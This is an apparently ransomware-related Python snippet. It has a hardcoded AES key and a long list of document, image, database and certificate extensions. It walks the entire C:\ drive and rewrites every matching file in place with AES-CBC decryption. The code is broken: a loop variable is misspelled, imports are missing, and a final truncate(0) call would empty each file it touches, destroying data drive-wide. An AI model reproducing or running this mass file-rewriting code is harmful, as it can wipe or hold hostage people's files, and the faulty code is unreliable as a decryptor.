key = b'\xbf\xc0\x85)\x10nc\x94\x02)j\xdf\xcb\xc4\x94\x9d(\x9e[EX\xc8\xd5\xbfI{\xa2$\x05(\xd5\x18'
filetypes = ("*.odt","*.ods","*.odp","*.odm","*.odb","*.doc","*.doc","*.doc","*.wps","*.xls","*.xls","*.xls","*.xls","*.xlk","*.ppt","*.ppt","*.ppt","*.mdb","*.acc","*.pst","*.dwg","*.dxf","*.dxg","*.wpd","*.rtf","*.wb","*.mdf","*.dbf","*.psd","*.pdd","*.eps","*.ai","*.ind","*.cdr","*.jpg","*.dng","*.arw","*.srf","*.sr","*.bay","*.crw","*.cr","*.dcr","*.kdc","*.erf","*.mef","*.mrw","*.nef","*.nrw","*.orf","*.raf","*.raw","*.rwl","*.rw","*.ptx","*.pef","*.srw","*.der","*.cer","*.crt","*.pem","*.pfx","*.pdf","*.odc")
filelist = []

for root, dirnames, filenames in os.walk("C:\\"):
    for ft in filetypes:
        for f in fnmatch.filter(filenames, ft):
            filelist.append(os.path.join(root, f))

for filenamne in filelist:
        with open(filename, 'rb+') as f:
                ciphertext = f.read()

                iv = ciphertext[:AES.block_size]
                cipher = AES.new(key, AES.MODE_CBC, iv)
                plaintext = cipher.decrypt(ciphertext[AES.block_size:]).rstrip('\x00')

                f.seek(0)
                f.write(plaintext)
                f.truncate(0)
                f.close()